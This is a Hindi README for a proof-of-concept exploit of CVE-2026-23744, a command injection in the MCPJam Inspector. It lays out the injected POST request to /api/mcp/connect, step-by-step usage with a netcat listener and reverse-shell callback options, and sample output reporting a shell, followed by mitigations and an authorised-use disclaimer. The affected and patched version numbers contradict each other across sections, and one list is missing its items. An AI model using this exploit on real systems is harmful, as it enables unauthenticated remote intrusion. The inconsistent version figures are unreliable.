
PoC एक्सप्लॉइट CVE-2026-23744 के लिए — MCPJam Inspector में बिना प्रमाणीकरण के RCE, /api/mcp/connect पर अनवैलिडेटेड serverConfig कमांड इंजेक्शन के माध्यम से, जो बिना क्रेडेंशियल के प्रोसेस ओनर के रूप में रिवर्स शेल सक्षम बनाता है।
MCPJam एक ओपन-सोर्स MCP (Model Context Protocol) इंस्पेक्टर और प्रॉक्सी है जिसका उपयोग MCP सर्वरों को कनेक्ट करने, डीबग करने और प्रबंधित करने के लिए किया जाता है। संस्करण <= 1.4.2 /api/mcp/connect एंडपॉइंट को बिना प्रमाणीकरण या इनपुट सत्यापन के उजागर करते हैं। एक अनधिकृत रिमोट हमलावर serverConfig.command / serverConfig.args फ़ील्ड के माध्यम से मनमाने OS कमांड इंजेक्ट कर सकता है, जिससे प्रक्रिया स्वामी के विशेषाधिकारों के अंतर्गत रिमोट कोड निष्पादन प्राप्त होता है।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-23744 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — OS कमांड में विशेष तत्वों का अनुचित निष्प्रभावीकरण |
| घटक | MCPJam MCP Proxy Inspector |
| प्रभावित | MCPJam <= 1.4.2 |
| पैच किया गया | MCPJam >= 1.4.3 |
| हमला वेक्टर | नेटवर्क — कोई प्रमाणीकरण आवश्यक नहीं |
| प्रकटीकरण | 2026-01-15 |
संवेदनशील एंडपॉइंट एक अनधिकृत JSON POST अनुरोध स्वीकार करता है:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam command और args को सीधे Node.js प्रोसेस स्पॉनर (child_process.spawn या समकक्ष) को बिना निम्न के पास करता है:
एक हमलावर जो पोर्ट 3000 (डिफ़ॉल्ट) तक पहुँच सकता है, args[1] में रिवर्स-शेल पेलोड प्रदान कर सकता है, जिससे MCPJam प्रक्रिया स्वामी — अक्सर root या व्यापक सिस्टम पहुँच वाला सेवा खाता — के रूप में एक शेल प्राप्त होता है।
/api/mcp/connect पर प्रमाणीकरण मिडलवेयर गार्ड की अनुपस्थिति, प्रोसेस-स्पॉन कॉल में उपयोगकर्ता-आपूर्ति मानों के अनियंत्रित उपयोग के साथ मिलकर एक क्लासिक अनधिकृत OS कमांड इंजेक्शन (CWE-78) उत्पन्न करती है।
pip install requests urllib3
-t, --target Target IP or hostname
-p, --port Target port (default MCPJam: 3000)
-l, --lhost Local IP for reverse-shell callback
-r, --lport Local port for reverse-shell callback
--timeout Seconds to wait for target availability (default: 30)
--shell-timeout POST timeout before assuming shell dropped (default: 5)
-v, --verbose Print full HTTP response body
1. अपनी मशीन पर netcat लिसनर प्रारंभ करें:
nc -lvnp 4444
2. एक्सप्लॉइट चलाएँ:
# Basic
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Verbose + extended availability timeout (slow targets)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Longer shell timeout (give more time before assuming shell was established)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Unauthenticated RCE via serverConfig Injection ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
Component : MCPJam MCP Proxy Inspector
Affected : <= 1.2.3 → Patched: >= 1.2.4
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS Command Injection
Type : Unauthenticated Remote Code Execution (Network / No Auth)
Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Probing target 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] Target is alive — HTTP 200
10:32:02 [*] Exploit endpoint : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Reverse-shell CB : 10.10.14.5:4444
10:32:02 [!] Ensure listener : nc -lvnp 4444
10:32:02 [*] Firing payload ...
10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444
10:32:07 [+] Switch to your netcat listener — incoming connection expected.
10:32:07 [+] Exploit routine complete.
टाइमआउट = सफलता संकेतक। जब POST अनुरोध टाइमआउट हो जाता है, तो लक्ष्य प्रक्रिया खुले रिवर्स शेल पर ब्लॉक हो रही होती है — यह अपेक्षित व्यवहार है, जो RCE प्राप्त होने की पुष्टि करता है। तुरंत अपने लिसनर पर स्विच करें।
| प्राथमिकता | कार्रवाई |
|---|---|
| गंभीर | MCPJam को >= 1.2.4 पर अपडेट करें |
| उच्च | /api/mcp/connect को प्रमाणीकरण मिडलवेयर के पीछे प्रतिबंधित करें |
| उच्च | MCPJam पोर्ट तक पहुँच को विश्वसनीय IP तक सीमित करने वाला नेटवर्क-स्तरीय फ़ायरवॉल नियम लागू करें |
| मध्यम | serverConfig.command के लिए अनुमत मानों की अलाउलिस्ट बनाएँ |
| मध्यम | MCPJam को कंटेनर के अंदर / प्रतिबंधित Linux उपयोगकर्ता के साथ चलाएँ (कोई शेल नहीं, कोई /dev/tcp नहीं) |
| निम्न | प्रोसेस स्पॉन घटनाओं पर ऑडिट लॉगिंग सक्षम करें |
यह एक्सप्लॉइट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध और अनैतिक है।